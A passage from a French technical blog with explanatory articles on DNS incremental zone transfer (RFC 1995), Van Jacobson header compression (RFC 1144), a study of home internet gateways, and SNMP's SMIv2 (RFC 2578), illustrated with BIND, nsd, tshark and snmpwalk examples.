Quand aux services de téléphonie sur IP, je les ai gardés pour un autre article.

À noter que toutes les documentations utilisateur en français sont disponibles en ligne. Quelles autres listes utiliser ? Pour les logiciels libres sur Android, il y a un bon article de Wikipédia. Sur quels forums aller pour en apprendre plus ? Membre de l'excellent réseau de sites Q&A StackExchange, il y a le très bon ForceClose. Il y a un canal IRC en anglais, #android sur Freenode, et des forums Web en français (que je n'ai pas testés, je n'aime pas les forums Web) sur http://android-france.fr/forum/. Comme sites Web en français, http://android-france.fr/, http://fr.androlib.com/ et http://www.frandroid.com/ sont intéressants. Si vous êtes un vrai geek et que vous voulez voir les sources des spécificités HTC, allez en http://developer.htc.com/ (celles d'Android, un logiciel libre, sont en http://source.android.com/). Et merci à Eric Jacoboni, Yves Agostini, Kevin Decherf, Jean-Baptiste Favre, Yves Rougy, Ollivier Robert , Claude Falguière, T1B0, Jean-Christophe Sirot, Stéphanie de Vanssay et Samuel Tardieu pour leurs conseils zavisés. Voici un sujet qui en suscite, des avis et de l'aide. :-)


L'article seul

RFC 1995: Incremental Zone Transfer in DNS

Date de publication du RFC : Août 1996
Auteur(s) du RFC : Masataka Ohta (Computer Center Tokyo Institute of Technology)
Chemin des normes
Première rédaction de cet article le 28 septembre 2010


Le mécanisme standard de transfert d'une zone DNS entre deux serveurs faisant autorité (depuis le maître vers l'esclave) est normalement le transfert de zones, dit AXFR, aujourd'hui normalisé dans le RFC 5936. Ce mécanisme convient parfaitement aux « petites zones » (de quelques centaines d'enregistrement au plus) mais achoppe, par exemple, lorsqu'un « gros » TLD veut pousser les changements du jour (ou de l'heure) vers tous ses esclaves. En raison, entre autre, de l'anycast, certains de ces esclaves sont situés dans des endroits pas très bien connectés (comme l'île de la Réunion) et l'envoi d'un fichier de la taille de celui de .fr (aujourd'hui, 1,8 millions de domaines et 190 Mo) peut prendre du temps. On peut transférer les zones par d'autres moyens que le DNS, par exemple rsync. Mais il existe une solution DNS standard (qui est celle utilisée par .fr), IXFR (Incremental Zone Transfer), normalisée dans ce RFC 1995.

Le principe est simple et résumé en section 2 du RFC. Lorsqu'un client veut un transfert (typiquement, parce qu'il est esclave et a appris que sa version de la zone était en retard), il envoie un message DNS de type IXFR (code 251, AXFR étant 252, cf. https://www.iana.org/assignments/dns-parameters) au maître qui lui transmet alors uniquement les nouveaux enregistrements. Le serveur IXFR (le maître) doit donc garder trace des changements entre les différentes versions, pour ne transmettre que ces changements (BIND ne le fait, par défaut, que si on utilise les mises à jour dynamiques du RFC 2136 ; autrement, il faut ajouter l'option ixfr-from-differences yes;). À noter qu'un serveur IXFR a toujours le droit de renvoyer la zone complète, par exemple si le client a un numéro de version trop vieux, ne correspondant plus à une version qui avait été gardée (voir la section 5).

Comme la réponse IXFR a des chances d'être de petite taille, le serveur a même le droit de répondre en UDP. Autrement, on utilise TCP, comme avec AXFR. Donc, l'algorithme recommandé est, pour le client, d'essayer en UDP d'abord, puis TCP.

La requête IXFR a le format DNS standard (section 3), la section Autorité contenant le SOA de la version courante chez le client. La réponse (section 4) ressemble beaucoup à une réponse AXFR. Elle est composée de séquences, chaque séquence commençant par l'ancien SOA, puis comportant les enregistrements supprimés, puis le nouvel enregistrement SOA, indiquant la version actuelle sur le maître, puis enfin les enregistrements ajoutés. Les séquences sont classés chronologiquement donc on peut voir la réponse IXFR comme un historique des changements. À noter que ce sont bien des enregistrements qui sont transmis, pas des RRsets. Si on a :

foobar  IN   NS   ns1.example.net.
        IN   NS   ns3.example.net.

et qu'on ajoute un serveur ns2.example.net, seul l'enregistrement NS de ce serveur aura besoin d'être transmis, pas les trois enregistrements du nouveau RRset.

La réponse commence, comme pour AXFR, par le SOA de la version locale du serveur mais le client peut savoir si sa demande IXFR a reçu une réponse IXFR ou AXFR en examinant le second enregistrement : si la réponse est incrémentale (IXFR), ce second enregistrement est un SOA.

Naturellement, le client IXFR ne doit mettre à jour sa copie locale qu'une fois qu'il a reçu tous les enregistrements. (Dit autrement, IXFR doit être atomique.)

La section 5 spécifie le comportement d'un serveur IXFR pour ce qui concerne les vieilles versions : il n'est évidemment pas obligé de les garder toutes et peut donc supprimer les plus anciennes, pour gagner de la place. C'est d'autant plus important qu'au bout d'un moment, les changements s'accumulant, la réponse IXFR deviendra plus longue que la réponse AXFR ! Remarquons aussi (section 6) que la réponse incrémentale n'est pas forcée de refléter l'histoire exacte des changements : un serveur a le droit de condenser plusieurs changements successifs en un seul. (Les exemples de la section 7 incluent une telle condensation.)

Voyons maintenant un exemple de mise en œuvre, entre deux BIND 9.7. Deux serveurs font autorité pour .fr. Sans IXFR, le transfert prend une demi-minute sur un Ethernet à 100 M/s (et bien plus longtemps avec des serveurs mal connectés au bout du monde ; il ne faut pas oublier que .fr a un serveur à Katmandou, un à Manille, etc). Sur le maître, on voit :

28-Sep-2010 10:54:35.388 client 192.0.2.97#56385: transfer of 'fr/IN': AXFR started
28-Sep-2010 10:55:00.162 client 192.0.2.97#56385: transfer of 'fr/IN': AXFR ended

Et sur l'esclave (tous les serveurs utilisent le port 9053, pour des tests, et pas le port standard 53 ; ainsi, le serveur esclave est configuré avec masters { 192.0.2.69 port 9053; };) :

28-Sep-2010 10:55:00.182 transfer of 'fr/IN' from 192.0.2.69#9053: \
                    Transfer completed: 2699 messages, 3965064 records, \
                    106151552 bytes, 24.857 secs (4270489 bytes/sec)

(Notez au passage que ce sont des enregistrements binaires DNS qui sont transférés, pas un fichier texte, ce qui explique la taille totale plus petite.)

Pour activer IXFR sur la maître, on modifie la configuration du serveur avec ixfr-from-differences yes; dans la directive zone :

zone "fr" {
        type master;
        file "fr";
        ixfr-from-differences yes;
};

On ne change rien sur le client IXFR : avec BIND, le client essaie IXFR par défaut. Sur le maître, le transfert est quasi-instantané :

28-Sep-2010 11:05:47.103 client 192.0.2.97#54496: transfer of 'fr/IN': IXFR started
28-Sep-2010 11:05:47.103 client 192.0.2.97#54496: transfer of 'fr/IN': IXFR ended

ce que confirme le journal de l'esclave, à qui il a suffi de transférer dix changements :

28-Sep-2010 11:05:47.049 transfer of 'fr/IN' from 192.0.2.69#9053: \
                Transfer completed: 1 messages, 10 records, \
                334 bytes, 0.004 secs (83500 bytes/sec)

(Note au passage : pour prévenir un serveur esclave de test, qui ne reçoit pas les NOTIFY du RFC 1996, qu'un changement a eu lieu chez le maître, le plus simple est d'envoyer un NOTIFY forcé. BIND ne permet pas de le faire facilement mais, si on a nsd, il suffit de faire un nsd-notify -p 9053 -z fr NOM-SERVEUR).

On peut aussi admirer le transfert incrémental avec tshark (l'option -d est nécessaire car on utilise un port alternatif). Un domaine a été ajouté, un autre retiré (les deux domaines avaient le même jeu de serveur) :

% tshark -d tcp.port==9053,dns -d udp.port==9053,dns  -r ixfr.pcap 
...
  3   0.001347 192.0.2.97 -> 192.0.2.69 DNS Standard query SOA fr
  4   0.001455 192.0.2.69 -> 192.0.2.97 DNS Standard query response SOA nsmaster.nic.fr
...
 10   0.002930 192.0.2.97 -> 192.0.2.69 DNS Standard query IXFR fr
...
 12   0.003089 192.0.2.69 -> 192.0.2.97 DNS Standard query response \
                       SOA nsmaster.nic.fr \
                       SOA nsmaster.nic.fr NS ns1.example.net NS ns3.example.net \
                       SOA nsmaster.nic.fr NS ns1.example.net NS ns3.example.net \
                       SOA nsmaster.nic.fr

On y voit bien le test initial du SOA, puis la requête du client, puis une séquence composée d'une partie « retrait » et d'une partie « ajouts ». Le fichier pcap complet est sur pcapr, en http://www.pcapr.net/view/bortzmeyer+pcapr/2010/8/2/6/ixfr.pcap.html.

Si le serveur refuse ou ne peut pas faire un transfert incrémental, le maître BIND indiquera :

28-Sep-2010 10:48:04.007 client 192.0.2.97#45524: transfer of 'fr/IN': AXFR-style IXFR started
28-Sep-2010 10:48:29.802 client 192.0.2.97#45524: transfer of 'fr/IN': AXFR-style IXFR ended

Et l'esclave recevra la totalité de la zone.

Les tests ici ont été faits avec BIND. Et avec nsd ? Il ne peut être qu'esclave : un maître nsd ne sait pas servir des transferts incrémentaux. Lorsque nsd est esclave, il essaie IXFR (en TCP par défaut mais on peut le configurer pour utiliser UDP) puis AXFR. (Il semble qu'il n'envoie pas de requête SOA avant la demande IXFR, la ligne 3 dans la trace Wireshark plus haut ; ce n'est en effet pas imposé par le RFC, puisque l'IXFR contient déjà le numéro de série connu du client.) On peut aussi lui demander de ne pas tenter IXFR :

zone:
        name: "langtag.net"
...
        request-xfr: AXFR 192.134.7.248 mykey

Ici, en raison du mot-clé AXFR, le serveur esclave ne tentera pas de faire de l'IXFR. Le même réglage, pour BIND, ne peut être que global au serveur (dans le bloc options, request-ixfr no;).

Le fait qu'un serveur puisse répondre à une demande IXFR par une copie complète de la zone peut être gênant dans certains cas. À la réunion IETF 75 de Stockholm en juillet 2009 a été présentée la proposition IXFR only (Internet-Draft draft-kerr-ixfr-only) qui normalisait un nouveau type de requête « IXFR seul » mais qui n'a pas encore été sérieusement pris en considération.


Téléchargez le RFC 1995


L'article seul

RFC 1144: Compressing TCP/IP headers for low-speed serial links

Date de publication du RFC : Février 1990
Auteur(s) du RFC : Van Jacobson (Lawrence Berkeley Laboratory)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 26 septembre 2010


Ce RFC n'est sans doute plus utilisé nulle part aujourd'hui mais, pendant des années, presque toutes les connexions à l'Internet depuis la maison (et, souvent, depuis le bureau), passaient par un lent modem, ce qui justifiait des efforts important pour comprimer les paquets, notamment (et c'était le but de de ce RFC), les en-têtes IP et TCP en profitant des diverses redondances qu'ils contiennent. La « compression Van Jacobson » (on voyait parfois dans les documentations « VJ compression »), documentée dans ce RFC, était un outil indispensable si on voulait pouvoir utiliser son modem de manière satisfaisante.

Contrairement à beaucoup de RFC de la grande époque, il est long (49 pages) car il y a beaucoup de détails techniques à spécifier (et il y a du code C à la fin). Comme plusieurs RFC de ce temps, il existe également en version PostScript, en http://www.rfc-editor.org/rfc/rfc1144.ps. Cette version est plus jolie et est donc recommandée pour la lecture de ce document difficile. Elle a en outre l'avantage de permettre l'inclusion de graphiques, comme la figure 8 qui indique le débit réel en fonction de la MTU.

La section 1 du RFC rappelle le contexte... de l'époque (1990). Des ordinateurs chez les particuliers (enfin, chez les plus riches), un Internet qui, certes, ne figurait pas sur l'écran radar des décideurs et des journalistes (surtout en France où l'Internet était mal vu et où il n'y en avait que pour le Minitel qui, contrairement aux techniques comme SLIP (RFC 1055) utilisées pour l'Internet sur modems, avait un débit asymétrique), des modems allant de 300 b/s (modems acoustiques) à 19 200 b/s (le record - non normalisé - de la norme V.32). Il existait avant ce RFC d'autres techniques de compression d'en-têtes (RFC 914) mais celle-ci était plus performante. À noter que le protocole « Van Jacobson » est spécifique à TCP, car il dépend du format d'en-tête de TCP, et de plusieurs fonctions de TCP, comme la réémission des paquets perdus, qui a permis de mettre aucune fonction de correction d'erreur. (Le RFC 2508 a proposé une méthode pour les autres protocoles de transport.)

Quel était le problème lorsqu'on se connectait à l'Internet via un modem, en utilisant des protocoles comme SLIP ? (PPP sera normalisé quelques mois plus tard, dans le RFC 1172, mais mettra très longtemps à être déployé.) Le problème, expliqué dans la section 2 du RFC, est que des applications interactives (telnet, à l'époque) et des applications transférant des données en bloc (NNTP, SMTP et FTP à l'époque) coexistent sur le câble et que les premières, qui exigent un bon temps de réponse, souffrent de la taille excessive des en-têtes (excessive par rapport au contenu « utile »). Si on se fixe un objectif (raisonnable pour une application interactive) de 100 à 200 ms de délai, on voit qu'un paquet TCP complet, avec ses en-têtes, est trop gros (sur le format des en-têtes, cf. RFC 791, section 3.1, pour IP et RFC 793, section 3.1, pour TCP). Le paquet fait 41 octets pour un seul caractère transmis (et autant pour l'écho effectué par le shell distant), ce qui nécessiterait 4 kb/s pour être transmis en moins de 200 ms. Même pour un modem de ce débit, si un transfert de données est en cours en même temps, les paquets de telnet peuvent avoir besoin d'attendre que la ligne soit libérée. Cela interdit de faire des paquets de données trop gros (ils bloqueraient la ligne pendant plus de 200 ms) et donc la taille relative des en-têtes est aussi un problème pour eux. Le cahier du charge du RFC était donc de permettre de faire du telnet sur des modems à 300 b/s. Un humain tapant environ cinq caractères par seconde impose au maximum cinq octets d'en-tête, ce qui permettrait de réduire la taille des paquets de transfert de données et donc de résoudre deux problèmes d'un coup.

Le protocole lui-même figure en section 3. Il n'est pas évident de comprimer les en-têtes IP et TCP. Contrairement aux protocoles OSI, chaque champ a une utilité et ne peut pas être simplement omis. En revanche, certains de ces champs sont constants au cours d'une même connexion TCP et certains évoluent de manière prédictible. Si les deux parties de la connexion gardent en mémoire l'état de celle-ci, il leur suffit de transmettre avec chaque paquet l'identificateur de la connexion et les champs qui ont changé de façon imprévue. Tout le reste peut être reconstitué localement. C'est sur cette observation que repose l'algorithme Van Jacobson. Après, il ne reste plus qu'à identifier un par un, pour chaque champ, s'il est constant, s'il change de manière prévisible, ou bien s'il peut être déduit de l'information données par d'autres couches (par exemple, le champ Total Length de l'en-tête IP est souvent doublé par une fonction de la couche 2 qui indique la même information). Comme exemple de champ qui change de manière prédictible, on peut citer les numéros de séquence TCP, qui s'incrémentent avec le nombre d'octets envoyés. À noter que toutes les informations vont du compresseur vers le décompresseur : il n'y a pas de rétroaction dans le protocole VJ.

Les détails pratiques figurent en section 3.2. Par exemple, 3.2.2 indique le format du paquet comprimé, 3.2.3 les actions du compresseur et 3.2.4 le mécanisme que doit suivre le décompresseur. Ce dernier doit appliquer aveuglément son algorithme, il ne peut pas demander confirmation ou éclaircissements au compresseur. Il existe quatre types de paquets :

  • TYPE_ERROR : la couche 2 indique que le paquet a été mal reçu. Le décompresseur le jette et compte sur le TCP à l'autre bout pour réémettre.
  • TYPE_IP : un paquet IP non-TCP, non modifié. L'algorithme VJ ne les comprime pas et le décompresseur n'a donc rien à faire.
  • UNCOMPRESSED_TCP (identifié par le champ « Protocole » de IP, normalement à 6 - pour TCP - et qui est ici l'index d'une connexion) : la connexion TCP en question vient juste de commencer ou bien un problème s'est produit, nécessitant une remise à zéro de l'état du compresseur. En recevant ce paquet, le décompresseur doit mettre à jour son état, enregistrer l'index de la connexion et les valeurs des en-têtes.
  • Autrement, le paquet est de type COMPRESSED_TCP et le décompresseur a alors le plus de travail à faire, puisqu'il doit reconstituer le paquet TCP complet (en regardant les valeurs qui avait été stockées pour cet index) qu'il passera au TCP local.

Tout cela, c'est très joli, si tout se passe bien. Mais s'il y a une erreur ? C'est fréquent avec les modems... La section 4 couvre ce problème. D'abord, il faut détecter l'erreur. Le principe de la compression étant de supprimer la redondance, la détection d'erreur, typiquement basée sur une information redondante, devient difficile. N'importe quel bruit aléatoire sur la ligne peut être « décompressé » en un paquet TCP/IP valide. La somme de contrôle, trop courte, n'est pas une protection suffisante : sur une ligne à 9 600 b/s, un parasite de 400 µs (ce qui est très court) va corrompre 16 bits, ce que la somme de contrôle va probablement rater. Le protocole VJ dépend donc essentiellement de la détection d'erreur de la couche 2. Un autre cas où un protocole fondé sur une rétroaction du décompresseur vers le compresseur ne marcherait pas est le cas où le paquet serait totalement détruit : le décompresseur ne peut alors même pas savoir qu'il y a eu un problème. Dans ce cas, c'est TCP qui détectera l'erreur, en ne recevant pas d'accusé de réception.

Une fois l'erreur détectée par le décompresseur, comment la rattraper (section 4.2) ? Le compresseur a la responsabilité d'envoyer un paquet UNCOMPRESSED_TCP pour signaler au décompresseur qu'il doit se resynchroniser. Comment le compresseur sait-il, lui, qu'un paquet est mal arrivé, ou pas arrivé du tout ? Il observe simplement les paquets TCP : si le numéro de séquence n'augmente pas (à part quelques cas spéciaux que le compresseur doit reconnaitre), c'est qu'il y a retransmission, et que des paquets ont été perdus. Le compresseur sait alors qu'il doit envoyer un paquet non comprimé. Le recevant, le décompresseur saura qu'il y a eu un problème et commencera un contexte neuf.

Le protocole VJ permet-il de configurer certains de ses paramètres ? Comme l'explique la section 5, il n'y en a pas beaucoup, car il n'y a pas de moyen de les transmettre entre les deux parties. Les deux paramètres possibles sont « compression activée ou pas » et nombre de contextes (de flux TCP simultanés) à conserver. Le premier paramètre (activer ou pas la compression VJ) ne se négocie pas, il doit donc être configuré de manière identique des deux côtés. À l'époque, c'était une source d'ennuis fréquents, qui se terminait souvent par « on va essayer avec et sans VJ et on verra bien lequel marche ». Le second paramètre est fixé à 16, avec juste une exception pour le changer si le protocole de couche 2,5 fournit un moyen pour cela (SLIP n'en fournit pas).

Quels sont les résultats obtenus effectivement par la compression VJ ? La section 5.3, très détaillée, fait la comparaison entre la compression VJ et une compression générique (Lempel-Ziv) appliquée à tout le paquet. Pour du trafic interactif (telnet), VJ l'emporte d'un facteur 3. Pour du trafic de données (FTP), c'est le contraire. La section 6 revient sur les performances du compresseur et mesure le temps pris sur les machines typiques de l'époque (Sun 3/60 ou DECstation 3100). La plupart des machines récentes (pour l'époque !) arrivaient à comprimer et à décomprimer à 64 kb/s (ce qui permettait même d'utiliser la compression VJ pour le RNIS).

Pour les programmeurs en C, l'annexe A fournit une mise en œuvre complète de l'algorithme, documentée très en détail (avec même un petit réglement de compte contre les machines qui osaient être petit-boutiennes comme le Vax). Elle était distribuée à l'époque dans CSLIP (mise en œuvre de SLIP avec compression). Une copie complète du code se trouve en ftp://ftp.ee.lbl.gov/cslip.tar.Z, à l'endroit exact indiqué par le RFC il y a vingt ans ! Bel existence de persistence d'URL ! (Par contre, l'adresse IP, indiquée dans le RFC, a changé, bon exemple du fait que les noms de domaine fournissent de la permanence et pas de la convivialité.)

Avec PPP, la compression VJ peut être négociée en toute sécurité (cf. RFC 1332, section 4). En revanche, SLIP n'ayant pas de mécanisme de négociation. L'annexe B suggère donc une méthode pour détecter automatiquement, à l'une des extrémités d'une liaison SLIP, si l'autre extrémité est en train de comprimer avec l'algorithme VJ. Cela permet, par exemple, d'avoir un « serveur » SLIP qui s'adapte automatiquement à des clients différents.

Aujourd'hui, l'algorithme VJ n'est plus utilisé. Des techniques plus perfectionnées l'ont remplacé, notamment ROHC (RFC 5795). Mais, pendant de nombreuses années, la plupart des connexions à la maison, ou dans des sites éloignées qui n'avaient pas d'autre liaison que le vieux réseau téléphonique, passaient par cet algorithme.

Et merci à Ludovic Rousseau, Pierre-Yves Lochou et Laurent Chemla pour m'avoir aidé lors de mes débuts avec la compression VJ !


Téléchargez le RFC 1144


L'article seul

Une étude des « boxes » qui connectent notre maison à l'Internet

Première rédaction de cet article le 23 septembre 2010


Nos réseaux à la maison sont connectés via des « boxes », fournis par le FAI ou bien choisies et installées par nous, et dont il n'est pas facile de donner une définition précise. Routeur ? Commutateur ? Pare-feu ? Modem ? C'est en fait un peu de tout ça. Non seulement la box typique ne respecte pas le modèle en couches mais elle ne documente en général pas exactement ce qu'elle fait, et, étant en général munie d'un logiciel programmé avec les pieds par des anonymes, elle le fait souvent mal. La box typique ne respecte pas les RFC, même ceux qui visent spécifiquement ce genre d'équipements (comme les RFC 5625 ou ceux du groupe Behave comme le RFC 5383). D'où cette étude de chercheurs, notamment finlandais, qui essaie de déterminer expérimentalement les caractéristiques d'un certaine nombre de boxes qu'on trouve sur le marché en Europe (des D-Link, des Netgear, des Linksys, etc).

L'article se nomme « An Experimental Study of Home Gateway Characteristics » par Seppo Hätönen, Aki Nyrhinen, Lars Eggert, Stephen Strowes, Pasi Sarolahti et Markku Kojo. Un exposé résumant ses conclusions avait été fait à la réunion IETF 78 à Maastricht et les transparents sont en ligne (les graphiques y sont plus clairs que dans l'article, notamment avec l'ajout des recommandations IETF)..

Il y a déjà eu plusieurs études du même genre, par exemple dans le contexte de DNSSEC, comme celle pour le SSAC de l'ICANN (la section 2 de l'article donne une bonne liste des études analogues.) Dans l'étude « finlandaise », 34 boxes ont été achetées et installées dans un réseau, entre une machine « cliente » et une machine « serveur », toutes les deux utilisant Linux. Le client a une adresse privée, et se connecte en IPv4 au serveur via la fonction NAT de la box (section 3).

Que montre cette étude ? Je ne citerai pas tous les résultats mais, parmi les plus intéressants :

  • Lors de « connexions » en UDP, la durée pendant laquelle une correspondance est gardée (en l'absence de toute communication) dans la table du NAT (ce qui permet donc aux réponses de revenir au client) varie de 30 à 700 secondes (le RFC 4787, section 4.3, demande un minimum de 120 secondes).
  • Pour TCP, c'est un peu mieux, avec des timeouts variant de 240 secondes à une durée inconnue (les auteurs de l'article ont attendu 24 heures sans que la connexion soit coupée). La moitié des boxes ne respectent pas le minimum du RFC 5382, section 5 (deux heures, quatre minutes).
  • La réécriture des messages ICMP (qui peuvent inclure des adresses IP qui n'ont pas de sens en dehors du domaine de routage local, à cause du NAT) varie beaucoup d'une box à l'autre, là encore en ignorant les recommandations du RFC 5508, section 4.2.
  • Une des plaies des boxes est qu'elles contribuent à l'ossification de l'Internet. Peu d'entre elles opèrent comme de purs routeurs, qui font passer des paquets IP en toute transparence, sans se soucier de ce qu'ils portent. Il est donc très difficile de déployer dans l'Internet un nouveau protocole de transport. Ainsi, un service qui serait accessible uniquement en SCTP (protocole probablement meilleur que le traditionnel TCP dans beaucoup de cas, cf. RFC 4960) ne serait pas joignable depuis beaucoup de réseaux. En effet, la moitié des boxes du test ne laissent pas du tout passer SCTP. (Les auteurs de l'article se réjouissent néanmoins de ce résultat, car ils s'attendaient à bien pire.) En revanche, DCCP (concurrent d'UDP normalisé dans le RFC 4340) ne passe à travers aucune des boxes.
  • Enfin, les auteurs ont fait des tests DNS (la plupart des boxes relaient le DNS, au lieu de le laisser passer intact) et trouvent à peu près les mêmes résultats que dans les études qui avaient précédé le déploiement de DNSSEC (par exemple, moins de la moitié des boxes accepte de faire du DNS sur TCP).

Y aurait-il d'autres résultats avec les boxes distribuées directement par les FAI comme la Livebox ou la Freebox ? D'abord, rien ne dit que ces boxes sont différentes de celles qu'on trouve en supermarché. Bien souvent, le FAI a juste mis son logo sur une box standard. Pour le cas où le FAI construit réellement sa box (cas de la Freebox), il faudrait tester pour être sûr. Cela serait certainement un test intéressant mais pas forcément facile ; par exemple, la Freebox utilise un protocole non-standard pour se connecter au réseau et ne rentrerait donc pas bien dans le banc de test fait par les chercheurs finlandais. (J'ai juste regardé que, sur ma Freebox v5, les paquets SCTP sortent bien, avec une adresse IP source NATée.)

Bref, des résultats peu satisfaisants, voire catastrophiques. Une des conséquences pratiques de cette mauvaise gestion, par la plupart des boxes, de tout ce qui est considéré comme inhabituel (comme DCCP) est que le succès de nouveaux protocoles ou services dans l'Internet (SCTP, DNSSEC, IPv6) est rendu presque inatteignable.

Merci à Alexandre Archambault pour ses pertinentes remarques. Un expert anonyme ayant fait des remarques sur un blog, il y a une bonne réponse d'un des auteurs de l'article.


L'article seul

RFC 2578: Structure of Management Information Version 2 (SMIv2)

Date de publication du RFC : Avril 1999
Auteur(s) du RFC : Keith McCloghrie (Cisco Systems, Inc.), David Perkins (SNMPinfo), Juergen Schoenwaelder (TU Braunschweig)
Chemin des normes
Première rédaction de cet article le 23 septembre 2010


Le SMI est le cadre général, dans ce cadre on écrit des descriptions des objets gérés, les MIB, on les interroge avec le protocole SNMP. L'essentiel de la gestion technique de l'Internet, en tout cas de la partie qui consiste à interroger les équipements réseau, se fait ainsi, d'où l'importance de ce RFC. Il documente la version 2 de la SMI (SMIv2), la version SMIv1 était décrite dans le RFC 1155, qui reste d'actualité pour certaines MIB (c'est le cas de la MIB-II, la MIB de base, normalisée dans le RFC 1213, même si elle a connu des évolutions comme celle du RFC 2863). (À noter que la première description de la SMIv2 était dans le RFC 1902, que notre RFC 2578 remplace.) La structure du RFC 2578 est très différente de celle du RFC 1155 et, à mon avis, moins concrète. Cela rend très difficile de voir les changements importants entre SMIv1 et SMIv2, d'autant plus que le RFC 2578 ne comporte pas de chapitre sur les changements.

Notre RFC décrit donc le SMI, le cadre de base de la description d'informations qu'on gère, typiquement avec SNMP. Il y a longtemps que la ligne officielle de l'IAB est que tout protocole Internet soit gérable, et ait donc une MIB, écrite selon les règles du SMI (section 1). Les sections 1 et 3 rappellent des principes du SMI comme le choix de l'utilisation d'un sous-ensemble de ASN.1 pour décrire les classes d'objets gérés. De même, le SMI se veut extensible, car tout ne peut pas être prévu à l'avance. Les MIB permettent de définir trois sortes de choses, les modules (ainsi le RFC 5813 spécifie le module forcesMib pour le protocole ForCES,Forwarding and Control Element Separation, RFC 3746), les objets (le même RFC 5813 crée un objet forcesLatestProtocolVersionSupported, dont la valeur est un entier indiquant la version du protocole) et les notifications (comme, toujours dans ForCES, forcesAssociationEntryUp qui indique qu'une association entre deux éléments du protocole devient opérationnelle).

Toutes les définitions de ce RFC, en ASN.1, sont rassemblées dans la section 2.

Qu'est-ce qu'une MIB et qu'est-ce qu'on met dedans ? La MIB, écrite en ASN.1, rassemble des objets qui ont tous un nom, plus exactement un OBJECT IDENTIFIER (OID, section 3.5). Ce nom est une suite de chiffres, alloués hiérarchiquement (ce qui garantit l'unicité, cf. section 4). Certains de ces chiffres ont aussi parfois une étiquette en lettres. Ainsi, le nœud 1 est étiquetté iso et géré par l'ISO. Tous les objets Internet sont sous le sous-arbre 1.3.6.1 (3 étant alloué par l'ISO à d'autres organisations et 6 étant le DoD qui financait le projet, 1 revenant à l'IAB). En ASN.1, cela se dit :

internet    OBJECT IDENTIFIER ::= { iso(1) org(3) dod(6) 1 }

et les objets officiels sont sous le sous-arbre 1.3.6.1.2. Pour prendre un exemple d'objet, ifOperStatus, l'état effectif d'une interface réseau (par exemple une carte Ethernet) est { ifEntry 8 }, c'est-à-dire 1.3.6.1.2.1.2.2.1.8 puisque ifEntry était 1.3.6.1.2.1.2.2.1 (il faut se rappeler qu'une MIB est arborescente). Chaque interface réseau recevra ensuite un OBJECT IDENTIFIER à elle, 1.3.6.1.2.1.2.2.1.8.1, 1.3.6.1.2.1.2.2.1.8.1, etc. Voici un exemple vu avec snmpwalk (-O n lui dit d'afficher les OID, pas les étiquettes), sur une machine qui a quatre interfaces réseaux dont deux fonctionnent :

% snmpwalk -v 1  -O n -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
.1.3.6.1.2.1.2.2.1.8.1 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.2 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.3 = INTEGER: down(2)
.1.3.6.1.2.1.2.2.1.8.4 = INTEGER: down(2)

Sans -O n, on aurait eu :

% snmpwalk -v 1   -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
IF-MIB::ifOperStatus.1 = INTEGER: up(1)
IF-MIB::ifOperStatus.2 = INTEGER: up(1)
IF-MIB::ifOperStatus.3 = INTEGER: down(2)
IF-MIB::ifOperStatus.4 = INTEGER: down(2)

Si 1.3.6.1.2 désigne les objets « officiels », 1.3.6.1.3 (section 4 du RFC) est pour les expérimentations et 1.3.6.1.4 pour les objets privés et 1.3.6.1.4.1 pour les objets spécifiques à une entreprise. Par exemple, si Netaktiv a obtenu le numéro 9319, ses objets seront sous 1.3.6.1.4.1.9319.

L'objet a aussi une syntaxe (section 7), par exemple INTEGER, OCTET STRING (voir la section 7.1.2 pour une discussion subtile sur sa taille maximale), BITS (un tableau de bits), OBJECT IDENTIFIER ou NULL. C'est un sous-ensemble d'ASN.1 qui est utilisé pour bâtir des définitions à partir de ces types primitifs, en les organisant en séquences ou en tables (section 7.1.12). Par exemple, l'état d'une interface réseau, ifOperStatus, déjà cité, est défini par le RFC 1213 comme INTEGER. Voici la définition complète :

          ifOperStatus OBJECT-TYPE
              SYNTAX  INTEGER {
                          up(1),       -- ready to pass packets
                          down(2),
                          testing(3)   -- in some test mode
                      }
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The current operational state of the interface.
                      The testing(3) state indicates that no operational
                      packets can be passed."
              ::= { ifEntry 8 }

Notre RFC définit aussi des types à partir de ces types primitifs, types qui pourront être utilisés par toutes les MIB. C'est le cas de :

  • IpAddress (section 7.1.5, et limitée à IPv4, le type Ipv6Address est apparu dans le RFC 2465), une OCTET STRING de quatre octets (IPv6 n'était pas encore inventé),
  • CounterN (section 7.1.6 et 7.1.10), un entier positif sur 32 (Counter32) ou 64 (Counter64) bits, croissant de manière monotone modulo sa valeur maximale.
  • Gauge (section 3.2.3.4) qui, contrairement à Counter, peut monter et descendre.

Un exemple d'utilisation de BITS (section 7.1.4) figure dans le RFC 5601 (FCS : somme de contrôle):

pwFcsRetentionStatus OBJECT-TYPE
     SYNTAX   BITS {
              remoteIndicationUnknown     (0),
              remoteRequestFcsRetention   (1),
              fcsRetentionEnabled         (2),
              fcsRetentionDisabled        (3),
              localFcsRetentionCfgErr     (4),
              fcsRetentionFcsSizeMismatch (5)
              }
     MAX-ACCESS    read-only

La section 5 du RFC est consacrée spécifiquement aux modules et notamment à leurs métadonnées (organisme à contacter, numéro de version, etc). La section 6 se penche sur les définitions d'objets. L'exemple du RFC est imaginaire mais voici un exemple réel tiré du RFC 5813 (CE = Control Engine, la partie du routeur qui fait tourner les protocoles de routage) :

forcesLatestProtocolVersionSupported OBJECT-TYPE
          SYNTAX      ForcesProtocolVersion
          MAX-ACCESS  read-only
          STATUS      current
          DESCRIPTION
                 "The ForCES protocol version supported by the CE.
                  The current protocol version is 1.
                  Note that the CE must also allow interaction
                  with FEs supporting earlier versions."
          ::= { forcesMibObjects 1 }

      forcesAssociations OBJECT IDENTIFIER ::= { forcesMibObjects 2 }

Un objet a enfin un encodage sur le câble (à peine mentionné dans le RFC) car ASN.1 ne spécifie pas comment les objets doivent être sérialisés en bits. Le SMI utilise BER.

